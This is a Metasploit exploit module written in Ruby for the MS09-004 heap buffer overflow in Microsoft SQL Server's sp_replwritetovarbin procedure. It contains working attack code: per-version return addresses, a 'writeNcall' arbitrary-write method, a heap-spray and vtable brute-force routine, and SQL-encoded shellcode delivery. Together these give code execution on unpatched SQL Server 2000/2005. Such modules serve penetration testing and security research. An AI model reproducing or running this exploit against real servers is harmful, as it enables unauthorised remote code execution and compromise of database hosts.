Microsoft SQL Server sp_replwritetovarbin Memory Corruption

`##  
# $Id: ms09_004_sp_replwritetovarbin.rb 8068 2010-01-05 00:02:15Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::MSSQL  
  
def initialize(info = {})  
  
super(update_info(info,  
'Name' => 'Microsoft SQL Server sp_replwritetovarbin Memory Corruption',  
'Description' => %q{  
A heap-based buffer overflow can occur when calling the undocumented   
"sp_replwritetovarbin" extended stored procedure. This vulnerability affects  
all versions of Microsoft SQL Server 2000 and 2005, Windows Internal Database,  
and Microsoft Desktop Engine (MSDE) without the updates supplied in MS09-004.  
  
This exploit smashes several pointers, as shown below.  
  
1. pointer to a 32-bit value that is set to 0  
2. pointer to a 32-bit value that is set to a length influcenced by the buffer  
length.  
3. pointer to a 32-bit value that is used as a vtable pointer. In MSSQL 2000,  
this value is referenced with a displacement of 0x38. For MSSQL 2005, the  
displacement is 0x10. The address of our buffer is conveniently stored in  
ecx when this instruction is executed.  
4. On MSSQL 2005, an additional vtable ptr is smashed, which is referenced with  
a displacement of 4. This pointer is not used by this exploit.  
  
There are two different methods used by this exploit, which have been named   
"writeNcall" and "sprayNbrute".  
  
The first, "writeNcall", was published by k`sOSe on Dec 17 2008. It uses pointers  
2 and 3, as well as a writeable address. This method is quite reliable. However,  
it relies on the the operation on pointer 2. Newer versions of SQL server  
(>= 2000 SP3 at least) use a length value that is 8-byte aligned. This imposes a  
restriction that the code address that leads to the payload (jmp ecx in this   
case) must match the regex '.[08].[08].[08].[08]'. Unfortunately, no such   
addresses were found in memory.  
  
For this reason, the second method, "sprayNbrute" is used. First a heap-spray  
is used to prime memory with lots of copies of the address of our code that   
leads to the payload (jmp ecx). Next, brute force is used to try to guess a   
value for pointer 3 that points to the sprayed data.  
  
A new method of spraying the heap inside MSSQL is presented. Sadly, it only   
allows the creation of a bunch of 8000 byte buffers.  
},  
'Author' => [ 'jduck' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision: 8068 $',  
'References' =>  
[  
[ 'OSVDB', '50589' ],  
[ 'CVE', '2008-5416' ],  
[ 'BID', '32710' ],  
[ 'MSB', 'MS09-004' ],  
[ 'URL', 'http://www.milw0rm.com/exploits/7501' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'seh',  
},  
'Payload' =>  
{  
'Space' => 512,  
'BadChars' => "", # nul bytes are ok!  
'StackAdjustment' => -3500,  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Targets' =>  
[  
# auto targeting!  
[ 'Automatic', { } ],  
  
#  
# Individual targets  
#  
[  
# Microsoft SQL Server 2000 - 8.00.194 (Intel X86)  
# Aug 6 2000 00:57:48  
'MSSQL 2000 / MSDE SP0 (8.00.194)',  
{  
'Method' => 'writeNcall',  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)  
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 base)  
},  
],  
[  
# Microsoft SQL Server 2000 - 8.00.760 (Intel X86)  
# Dec 17 2002 14:22:05  
'MSSQL 2000 / MSDE SP3 (8.00.760)',  
{  
'Method' => 'sprayNbrute',  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)  
'Ret' => 0x42b6be7b # jmp ecx in sqlsort.dll (2000 sp3)  
},  
],  
[  
# Microsoft SQL Server 2000 - 8.00.2039 (Intel X86)  
# May 3 2005 23:18:38  
'MSSQL 2000 / MSDE SP4 (8.00.2039)',  
{  
'Method' => 'sprayNbrute',  
'Writable' => 0x42b6cfe0, # any writable addr (not even necessary really)  
#'Vtable' => 0x1b0768c8, # becomes eax for [eax+0x38] (must be valid to exec)  
#'Vtable' => 0x42c300c8, # ugh!  
'Ret' => 0x42b0be10 # jmp ecx in sqlsort.dll (2000 sp4)  
#'Ret' => 0x773d115b # jmp ecx in activeds.dll (2000 sp4 on 2000)  
#'Ret' => 0x7ca7dc96 # push ecx|pop esp|pop ebp|retn 8 - in shell32 on 2k3sp2  
},  
],  
[  
# Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86)  
# Oct 14 2005 00:33:37  
'MSSQL 2005 (9.00.1399.06)',  
{  
'Method' => 'sprayNbrute',  
'Writable' => 0x53ad5330, # any writable addr (not even necessary really)  
'Vtable' => 0x05413090, # becomes edx for [edx+0x10] or [edx+4] (must be valid to exec)  
'Ret' => 0x49a9835f # jmp ecx ?  
},  
],  
[  
# debugging...  
'CRASHER',  
{  
'Method' => 'sprayNbrute',  
'Writable' => 0xcafebabe,  
'Vtable' => 0xfeedfed5,  
'Ret' => 0xdeadbeef  
},  
]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Dec 09 2008'  
))  
end  
  
def check  
# the ping to port 1434 method has two drawbacks...  
# #1, it doesn't work on mssql 2005 or newer (localhost only listening)  
# #2, it doesn't give an accurate version number (sp/os)  
  
# since we need to have credentials for this vuln, we just login and run a query  
# to get the version information  
version = mssql_query_version  
if not version  
return Exploit::CheckCode::Detected  
end  
print_status("@@version returned:\n\t" + version)  
  
# TODO: add more versions  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.194/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.760/)  
return Exploit::CheckCode::Vulnerable if (version =~ /8\.00\.2039/)  
return Exploit::CheckCode::Vulnerable if (version =~ /9\.00\.1399\.06/)  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
  
mytarget = nil  
if target.name =~ /Automatic/  
print_status("Attempting automatic target detection...")  
  
version = mssql_query_version  
raise RuntimError, "Unable to get version!" if not version  
  
if (version =~ /8\.00\.194/)  
mytarget = targets[1]  
elsif (version =~ /8\.00\.760/)  
mytarget = targets[2]  
elsif (version =~ /8\.00\.2039/)  
mytarget = targets[3]  
elsif (version =~ /9\.00\./)  
mytarget = targets[4]  
end  
  
if mytarget.nil?  
raise RuntimeError, "Unable to automatically detect the target"  
else  
print_status("Automatically detected target \"#{mytarget.name}\"")  
end  
else  
mytarget = target  
end  
  
if mytarget['Method'] == 'sprayNbrute'  
exploit_spray_and_brute(mytarget)  
elsif mytarget['Method'] == 'writeNcall'  
exploit_write_and_call(mytarget)  
else  
raise RuntimeError, "Invalid exploitation method specified."  
end  
end  
  
  
# prepare a known address pointing to jmp ecx!  
def exploit_write_and_call(mytarget)  
  
# write the 4 bytes..  
packed_ret = [mytarget['Ret']].pack('V')  
x = 0  
packed_ret.unpack('C*').each do |byte|  
if (not mssql_login_datastore)  
raise RuntimeError, "Invalid SQL Server credentials"  
end  
  
addr = mytarget['Writable'] + x  
  
# write a single byte value to an arbitrary address (using this vuln)  
print_status("Writing 0x%02x to %#x ..." % [byte, addr])  
  
num = 16  
sz = num + 179  
buf = rand_text_alphanumeric(sz)  
# this corresponds to mov [eax+4], ecx  
buf << [addr - 4].pack('V')  
  
# this causes a length value to have the lsb of our byte  
len = 0x169  
if (len & 0xff) < byte  
len = byte - (len & 0xff)  
else  
len = (0x200 - len) + byte  
end  
extra = rand_text_alphanumeric(len)  
  
write_byte_sql = %Q|declare @e int,@b varbinary,@l int;exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,'%STUFF%','','','','','','','','','%EXTRA%'|  
buf = mssql_encode_string(buf)  
sql = write_byte_sql.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, buf).gsub(/%EXTRA%/, extra)  
begin  
ret = mssql_query(sql, false)  
rescue ::Errno::ECONNRESET, EOFError  
print_error("Error: #{$!}")  
end  
  
x += 1  
end  
  
if (not mssql_login_datastore)  
raise RuntimeError, "Invalid SQL Server credentials"  
end  
  
# call to ecx via the ptr we wrote  
print_status("Triggering the call to our faked vtable ptr @ %#x" % mytarget['Writable'])  
sqlquery = %Q|declare @i int,@buf nvarchar(4000)  
set @buf='declare @e int,@b varbinary,@l int;'  
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''  
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''  
exec master..sp_executesql @buf  
|  
# make sploit buff  
num = 16  
sz = num + 179  
sploit = make_nops(sz-2)  
sploit << "\xeb\x04"  
sploit << [mytarget['Writable'] + 8].pack('V')  
sploit << payload.encoded  
sploit[3,4] = [mytarget['Writable']-0x38].pack('V')  
  
# encode chars that get modified  
enc = mssql_encode_string(sploit)  
sql = sqlquery.gsub(/%NUM%/, num.to_s).gsub(/%STUFF%/, enc)  
ret = mssql_query(sql)  
  
handler  
disconnect  
end  
  
  
def exploit_spray_and_brute(mytarget)  
  
brute_count = 1000  
brute_step = 4096  
spray = true  
spray = false if mytarget.opts.has_key?('nospray')  
  
if spray  
  
if (not mssql_login_datastore)  
raise RuntimeError, "Invalid SQL Server credentials"  
end  
  
print_status("Spraying the heap with our vtable entry pointer of %#x" % mytarget['Ret'])  
  
# spray the heap! (count of 'max' blocks of 8000 bytes...)  
query2 = "declare @s varchar(8000);set @s='%MARKER%'+REPLICATE(%ADDR%, (8000/4)-3)+'%MARKER%'+%ADDR%;select @s"  
query = %Q|declare @s nvarchar(4000);set @s='%QUERY2%';exec master..sp_executesql @s|  
  
addr = mssql_str_to_chars([mytarget['Ret']].pack('V'))  
=begin  
search_cmd = "s -b 0 L?-1 41 41"  
search_cmd << Rex::Text.to_hex([mytarget['Ret']].pack('V'), ' ')  
print_status("search command: " + search_cmd)  
=end  
max = 1000  
part = max / 10  
part = 1 if part < 1  
max.times do |x|  
print_status("Spraying ... %d / %d" % [x,max]) if ((x % part)==0)  
  
marker = [0x41414141 + x].pack('V')  
  
q2run = query2.gsub(/%MARKER%/, marker)  
q2run.gsub!(/%ADDR%/, addr)  
q2run.gsub!(/\'/, "\'\'")  
runme = query.gsub(/%QUERY2%/, q2run)  
  
break if not mssql_query(runme)  
end  
  
disconnect  
end  
  
sqlquery = %Q|declare @i int,@buf nvarchar(4000)  
set @buf='declare @e int,@b varbinary,@l int;'  
set @buf=@buf+'exec master.dbo.sp_replwritetovarbin %NUM%,@e out,@b out,@l out,''%STUFF%'','''  
set @buf=@buf+'1'',''2'',''3'',''4'',''5'',''6'',''7'',''8'''  
exec master..sp_executesql @buf  
|  
  
# trigger the memory corruption  
brute_count.times do |x|  
vtable = mytarget['Vtable'] + (x * brute_step)  
  
# make sploit buff  
num = 16  
sz = num + 179  
sploit = make_nops(sz-2)  
#sploit = "\x90" * (sz-2)  
sploit << "\xeb\x04"  
sploit << [mytarget['Writable'] + 8].pack('V')  
sploit << payload.encoded  
  
# mssql 2000 vtable ptr smashed!  
sploit[num-13,4] = [vtable-0x38].pack('V')  
  
# mssql 2005 stuff:  
# the vtable is deref'd twice here  
# - first time ecx points at our buffer and the offset is 0x10  
# - second time esp+8 points to our buffer and the offset is 0x04  
sploit[num+63,4] = [vtable-0x10].pack('V')  
#sploit[num+407,4] = [vtable-0x4].pack('V')  
  
# encode chars that get modified  
enc = mssql_encode_string(sploit)  
  
# put the number in (start offset)  
runme = sqlquery.gsub(/%NUM%/, num.to_s)  
runme.gsub!(/%STUFF%/, enc)  
  
print_status("Triggering the call to our faked vtable ptr @ %#x" % vtable)  
  
# go!  
if (not mssql_login_datastore)  
raise RuntimeError, "Unable to log in!"  
end  
begin  
mssql_query(runme)  
rescue ::Errno::ECONNRESET, EOFError  
print_error("Error: #{$!}")  
end  
  
handler  
break if session_created?  
  
disconnect  
end  
end  
  
  
def mssql_str_to_chars(str)  
ret = ""  
str.unpack('C*').each do |ch|  
ret += "+" if ret.length > 0  
ret += "char("  
ret << ch.to_s  
ret += ")"  
end  
return ret  
end  
  
  
def mssql_encode_string(str)  
badchars = "\x00\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f"  
  
enc = ""  
in_str = true  
str.unpack('C*').each do |ch|  
# double-double single quotes  
if ch == 0x27  
if not in_str  
enc << "+'"  
in_str = true  
end  
enc << ch.chr * 4  
next  
end  
  
# double backslashes  
if ch == 0x5c  
if not in_str  
enc << "+'"  
in_str = true  
end  
enc << ch.chr * 2  
next  
end  
  
# convert any bad stuff to char(0xXX)  
if ((idx = badchars.index(ch.chr)))  
enc << "'" if in_str  
enc << "+char(0x%x)" % ch  
in_str = false  
else  
enc << "+'" if not in_str  
enc << ch.chr  
in_str = true  
end  
end  
enc << "+'" if not in_str  
return enc  
end  
  
  
def mssql_query_version  
if (not mssql_login_datastore)  
raise RuntimeError, "Invalid SQL Server credentials"  
end  
res = mssql_query("select @@version")  
disconnect  
  
return nil if not res  
if res[:errors] and not res[:errors].empty?  
errstr = ""  
res[:errors].each do |err|  
errstr << err  
end  
raise RuntimeError, errstr  
end  
  
if not res[:rows] or res[:rows].empty?  
return nil  
end  
  
return res[:rows][0][0]  
end  
  
end  
`